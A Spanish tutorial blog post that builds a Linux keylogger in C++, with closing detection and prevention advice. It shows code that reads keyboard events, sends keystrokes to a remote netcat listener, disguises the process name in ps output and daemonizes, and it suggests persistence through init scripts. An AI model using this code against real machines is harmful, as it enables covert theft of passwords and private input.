09 noviembre 2011

Keylogger en Linux

En uno de mis primeros artículos expliqué en qué consistían los keyloggers hardware y sus implicaciones para la seguridad. Estos dispositivos se conectaban entre el puerto del teclado y el cable del mismo y guardaban o reenviaban a un punto de escucha remoto todo aquello que la víctima teclease. La primera conclusión que extrajimos de aquel artículo era la importancia de reforzar la seguridad física de los equipos para evitar el acceso a los mismos de personas que los manipulen en su provecho.

Sin embargo, además de los keylogger hardware existen los software. Estos son programas que se instalan en el ordenador y funcionan de manera oculta al usuario mientras cazan lo que este teclea. En el presente artículo vamos a desarrollar un keylogger para Linux e iremos estudiando los diferentes conceptos en los que estos se basan.

Linux es un sistema de naturaleza abierta. Al ser un sistema operativo desarrollado por voluntarios se busca que sea sencillo y que todos los recursos sean fácilmente accesibles de manera que no se desanime a los que se quieran iniciar en él. Gracias a ello, hay una abundantísima documentación disponible en la red sobre cómo hacer casi cualquier cosa en Linux, a diferencia de "el otro" sistema operativo preponderante en el que parece que todo está enfocado a que compres una licencia de Visual Studio. En ese sentido una de las cosas que sorprenden a los que se adentran en el mundo de Linux es que el interfaz interno hacia los periféricos del ordenador se realiza a través de ficheros de manera que comunicarse con un periférico es tan sencillo como escribir en su correspondiente fichero y leer de él.

Estos ficheros especiales se sitúan en el subdirectorio /dev. En el se pueden encontrar, categorizados en diferentes subcarpetas los ficheros correspondientes al ratón, el joystick, la impresora, los dispositivos usb, etc. En concreto, un teclado PS/2 como el mío se suele encontrar en la carpeta /dev/input en alguno de los ficheros event. En una primera aproximación, si quiere averiguar a través de qué fichero se puede comunicar con el teclado no tiene más que leer con un cat cada uno de los ficheros, por ejemplo:

$ sudo cat /dev/input/event0

Una vez lanzado el cat abra una ventana y teclee cualquier cosa, si en la ventana donde tiene el cat comienzan a aparecer carácteres extraños conforme teclea ahí es donde se conecta su teclado. Si no ve nada pruebe a hacer cat sobre el siguiente fichero event. En mi caso concreto, el teclado se encuentra en el event2 y esto es lo que veo al teclear dante en otra ventana:



En el fondo, un keylogger no tiene más que hacer lo mismo que nosotros: localizar el fichero event correcto, conectarse a él para leer, interpretar los códigos que lee convirtiéndolos a carácteres comprensibles para un humano y reenviar los mismos a donde esté escuchando el usuario del keylogger.

Para ilustrar el proceso he programado un pequeño keylogger que busca el dispositivo donde se encuentra el teclado y a partir de ahí captura las pulsaciones y las envía a un PC remoto donde se pueden visualizar. Además, este keylogger servirá para ilustrar una técnica de ocultación de procesos basada en disfrazar el nombre de la aplicación dentro de la tabla de procesos. El código fuente del keylogger se encuentra en mi repositorio de aplicaciones y como podrá comprobar está escrito en C++. El que venga leyendo mis artículos hasta el momento sabrá que prefiero programar en Python pero hay varias razones para cambiar de lenguaje en este caso: por un lado la técnica usada para ocultar el keylogger no se puede utilizar en Python y por otro lado estoy preparando un artículo sobre módulos de kernel troyanos... por lo que no me queda otra opción que ir desempolvando mis conocimientos de programación en C.

Como el código fuente sólo cuenta con dos ficheros (fuente y cabecera), para compilarlo no hace falta más que extraer ambos ficheros en el mismo subdirectorio y hacer:

$ g++ keylogger.cpp -o keylogger

Con eso se creará un ejecutable que deberá ser lanzado como sudo ya que el acceso de lectura a los archivos que se encuentran en /dev está limitado a administradores. Si se ejecuta keylogger sin parámetros aparecerá una ayuda con las diferentes opciones que tiene. En principio estas son muy sencillas: los parámetros obligatorios son los que especifican la dirección IP y el puerto TCP donde se encuentra el proceso que escuchará los carácteres reenviados (generalmente un netcat en modo escucha) y como parámetros opcionales si se desea establecer la conexión con el proceso de escucha medioante UDP en vez de TCP y si queremos ejecutar el proceso en modo oculto (stealth). Si le decimos a keylogger que queremos conectar, por ejemplo, con el puerto 5000 de la dirección 10.0.0.3 en el PC que tenga dicha dirección deberemos ejecutar un netcat en modo escucha con la siguiente orden:

$ nc -l 5000

En cuanto se conecte keylogger desde su respectiva dirección empezaremos a ver el volcado de pulsaciones. Si no disponemos de otro PC desde el que realizar la escucha podemos probar keylogger diciéndole que remita las pulsaciones al localhost (127.0.0.1) y lanzar el netcat desde otra consola.



Por defecto, keylogger escribirá mensajes describiendo su funcionamiento en el fichero de log del sistema donde se ejecute (generalmente /var/log/syslog), pero si le pedimos que active el modo stealth pasará a modo silencioso y dejará de escribir en dicho fichero. Además, en modo stealth keylogger sustituye la orden registrada en el sistema por la cadena que le pasemos de manera que cuando se pida un listado de procesos lo que aparezca sea la cadena falsa en vez del nombre verdadero del programa. Me explico, supongamos que ejecutamos keylogger sin activar el stealth:

$ sudo ./keylogger -d 127.0.0.1 -p 5000

Es evidente que si el administrador de la máquina ejecuta un "ps ax" y ve un proceso llamado "keylogger..." se echará las manos a la cabeza alarmado. Sin embargo, si activamos el modo stealth:

sudo ./keylogger -s "javaupdater -d -nogui" -d 127.0.0.1 -p 5000

Lo que verá el administrador al hacer un "ps ax" será un proceso llamado "javaupdater -d -nogui" por lo que, a no ser que se conozca al dedillo los procesos que deberían ejecutarse en el sistema, le pasará totalmente desapercibido.

Vamos a revisar el código y a explicar su funcionamiento paso a paso.

El programa (en su función main) empieza sacando los parámetros del comando introducido por el usuario a través de la función parse_arguments() (línea 426) la cual fija la mayor parte de las variables globales del sistema (dirección IP y puerto del proceso de escucha, si activamos el modo stealth, etc). Luego se activa el modo stealth (go_stealth(), línea 432) , si este ha sido solicitado por el usuario. La función go_stealth() tiene la siguiente estructura:

void go_stealth(int &argc, char **argv)
{
    int argv_lengths[argc];
    for (int i=0; i<argc; i++)
   {
        argv_lengths[i] = strlen(argv[i]);
        memset(argv[i], '\0', argv_lengths[i]);
   }
   int max_argv_length = 16;
   int maximum_size = strlen(stealth_name.c_str())+1;
   char * name_to_split = new char[maximum_size];
   memset(name_to_split, 0, maximum_size);
   strcpy(name_to_split, stealth_name.c_str());
   char * token = strtok(name_to_split, " ");
   int argv_index = 0;
   strncpy(argv[argv_index], token, argv_lengths[argv_index]);
   argv_index++;
   while ((token = strtok(NULL, " ")) != NULL)
   {
       strncpy(argv[argv_index], token, argv_lengths[argv_index]);
       argv_index++;
       if (argv_index >= argc)
           break;
   }
   delete[] name_to_split;
}


Se puede ver que esta función lo primero que hace es borrar el contenido del array de argumentos argv. Esto no supone ningún problema ya que todo lo que podía aportar este array se guardó en la función parse_arguments(). Este borrado se hace con el memset de la línea 100, llenando cada argumento de carácteres null ('\0'). Luego se coge la cadena facilitada por el usuario para falsificar el nombre del programa (stealth_name) y se parte en tokens usando como separadores los espacios entra cada uno de los parámetros (mediante la función strtok() de las líneas 125 y 129). Con cada uno de esos tokens se reescribe el correspondiente argumento del array argv (líneas 127 y 131). Al reescribir por completo el array argv, cuando el administrador ejecute "ps ax" lo que verá es el nuevo contenido. Sin embargo hay que tener en cuenta una serie de condiciones a la hora de utilizar esta técnica de camuflaje:

  1. Cada elemento de argv tiene una longitud fija y determinada por el argumento original. Si argv[0] contenía la cadena "./keylogger" entonces tendrá 11 carácteres de longitud, la cual no podrá ser sobrepasado por la cadena falsa que introduzcamos luego. Por ejemplo, si usásemos: "javaupdater -d -nogui" valdría ya que javaupdater también tiene 11 carácteres mientras que si usásemos "pythonupdater -d -nogui" no nos valdría ya que pythonupdater tiene 13 carácteres y sobrepasaría el espacio disponible en argv[0]. Lo dicho es aplicable al resto de los elementos de argv.
  2. Si usamos una cadena falsa de menos longitud que el argv correspondiente pueden ocurrir dos cosas: si no hemos borrado previamente el contenido de argv como hemos hecho en keylogger veremos como el contenido nuevo y antiguo se superponen lo que estropearía el camuflaje, por otro lado si lo hubiésemos borrado lo que se percibirían sería una serie de espacios entre el final del correspondiente parámetro y el siguiente lo que también resulta llamativo al examinar la salida de un "ps ax".
  3. Es natural pensar que creando un nuevo array de cadenas y haciendo que argv apuntase a él se podría evitar esta limitación de longitudes pero las pruebas que he hecho en ese sentido han sido infructuosas y lo que he encontrado buceando por Internet me hace pensar que argv es un tipo especial de puntero que no permite ser redireccionado. Si alguien avanza en este sentido más que yo recibiré con agrado sus comentarios al respecto.
Tras la llamada a go_stealth(), la función main llama a locate_keyboard_device() (línea 438) la cual analiza el sistema para deducir a través de qué fichero /dev/input/event se puede acceder al teclado. Para ello lo que hace es leer el fichero /var/log/udev (referenciado en el programa mediante la variable devices_file, es un fichero de texto por lo que se puede leer con un simple less) que contiene información sobre todos los dispositivos conectados al sistema, cada uno de los cuales cuenta con una entrada en el fichero. Se da la situación de que el teclado activo en el sistema cuenta con la cadena "ID_INPUT_KEYBOARD=1" (variable keyboard_tag) en su registro por lo que sólo tenemos que buscar el registro con dicha cadena y ver a que fichero /dev apunta el registro.

Tras averiguar el dispositivo al que se conecta el teclado hay que averiguar cual es el mapa actual de teclado. Esto se hace en la función load_keymap() (línea 457). El mapa de teclado define el valor asignado a cada tecla. Hay que tener en cuenta que un teclado de 105 teclas puede ser vendido en EEUU, España o Japón y en cada país aunque el signo que esté impreso en cada tecla difiera las señales eléctricas que entrega el teclado son las mismas. Por ejemplo, un teclado puede entregar la señal eléctrica 39 al pulsar una determinada tecla, en España esa tecla se usa para el carácter "Ñ" pero en otro país puede que se use para otro carácter diferente. Es el mapa de teclado el que define qué carácter está asignado a cada tecla. Puede que haya mejores maneras de hacerlo, pero la que yo he utilizado es ejecutar desde mi programa la orden:

dumpkeys --keys-only --separate-lines | grep plain

Y volcar el resultado en un fichero. Esta orden muestra información sobre el mapa de teclado activo en el sistema. Luego, load_keymap() procede a leer el fichero resultante línea a línea analizando cada una mediante la función parse_keymap_line() (línea 191). Esta última función analiza cada línea y deduce la asignación tecla-valor a la que hace referencia guardándola en un objeto Keymap (creado por nosotros a partir de la línea 21).

Una vez que tenemos localizado el teclado y aclarado cual es el mapa de teclado, hacemos que el programa pase a modo demonio de manera que siga ejecutándose en segundo plano aunque salgamos de la sesión. El modo demonio es el equivalente Linux de los servicios de Windows. Si quisiéramos que nuestro keylogger se iniciase cada vez que se rebotase el sistema podríamos esconder su orden de arranque en cualquiera de los scripts de inicio de demonios de sistema que se encuentran en /etc/init.d.
La manera de convertir un proceso en demonio no puede ser más sencilla:

pid_t pid = fork();
if (pid < 0)
{
    print("Error while forking.");
    exit(EXIT_FAILURE);
}
if (pid > 0)
{
    print("Forking correct");
    cout << pid << endl;
    exit(EXIT_SUCCESS);
    print("Parent died, child lives.");
}

Cuando se llama a fork() (línea 474) se produce una mitosis de nuestro programa, el resultado es que nuestro programa se divide en dos: el padre que es al que hemos llamado y que corre en primer plano y el hijo que corre en segundo plano. ¿Como se puede distinguir a uno de otro?, el hijo tiene la variable pid con valor 0 y el padre la tiene con un valor mayor que cero (en  realidad el Process ID de su hijo). Como queremos que el resto del programa transcurra en segundo plano le decimos al padre que muera tras imprimir en pantalla el Process ID del hijo (por si queremos matar al keylogger con un kill -9).

A partir de aquí, estamos corriendo en segundo plano (y si hemos activado el modo stealth figuraremos por un nombre falso en la tabla de procesos). Accederemos al fichero del teclado para leer las pulsaciones de teclado abriéndolo como cualquier otro fichero (línea 502) y después estableceremos un socket contra el equipo de escucha mediante la función connect_to_remote_listener() (línea 513).

Hecho todo lo anterior, ya estaremos en condiciones de entrar en el bucle principal de escucha y reenvío:

struct input_event ev;
int ev_size = sizeof(struct input_event);
int rd = 0;
int value = 0;
while (1)
{
    if ((rd = read (kbd, &ev, ev_size)) < ev_size)
        print("Error reading from device.");
    value = ev.value;
    if (value != ' ' && ev.value == 1 && ev.type == 1) 
   {
        stringstream int2string;
        int2string << ev.code;
        print("Logged keystroke: Code[" + int2string.str() +"]\n");
        string mapped_keystroke = system_keymap.getMap(ev.code);
        if (mapped_keystroke.size() > 1)
            mapped_keystroke = "<" + mapped_keystroke + ">";
        print("Mapped keystroke: " + mapped_keystroke + "\n");
        send(sockfd, mapped_keystroke.c_str(), mapped_keystroke.size(), 0);
    }
}
print("Exiting keylogger.");
close(sockfd);
return 0;

Como se puede ver en el código anterior la lectura del fichero /dev/input/event es igual que la de cualquier otro fichero con la peculiaridad de que los datos que se leen de él tienen la forma de una estructura input_event. Los input_event con value y type 1 definen las teclas presionadas, hay otras combinaciones de estos valores para definir los momentos en que las teclas son "soltadas" o "empujadas" (no tengo clara la utilidad de estas casuísticas, sólo me parece útil la de "presión" pero bueno, el caso es que ahí están). Por tanto, cuando se da el caso de una tecla presionada (línea 536), se procede a ver a qué carácter equivale mediante la llamada a system_keymap_getMap() (línea 541). Si la tecla equivale a un carácter sencillo la cadena devuelta tendrá una longitud de 1 (el carácter mismo) pero si es una tecla de función tendrá una longitud mayor por lo que se presentará al usuario de una manera especial (línea 543). Resuelta la equivalencia con el mapa de teclado actual se manda por el socket establecido previamente hacia el proceso de escucha (línea 545).

Se puede probar el programa y ver que su ejecución es bastante limpia y que si se elije una cadena de ocultamiento adecuada será complicado discernir a través de un listado de "ps ax" si es un proceso lícito o no. Otro medio de detección es usando la orden netstat la cual mostrará los sockets establecidos desde la máquina que ejecuta el keylogger con el mundo exterior, si la cadena de ocultamiento no hace referencia a un programa susceptible de usar la red puede ser bastante sospechoso ver que el mismo establece sockets con el exterior sobre todo si la dirección IP de destino y su puerto son un tanto exóticos.

En general, la mejor manera de evitar la instalación de programas como este es evitar el acceso físico de  los usuarios a los servidores. Con acceso físico a la máquina, el intruso puede reiniciarla en modo monousuario con lo que el sistema no le pediría la password de root y podría instalar cualquier cosa que desease como por ejemplo este keylogger. Otra manera de prevenir este tipo de aplicaciones intrusivas es limitar el acceso de los servidores internos hacia el exterior mediante los cortafuegos perimetrales a lo estrictamente necesario, de esta manera el intruso vería seriamente mermada su capacidad de remitir las pulsaciones realizadas a un equipo externo bajo su control.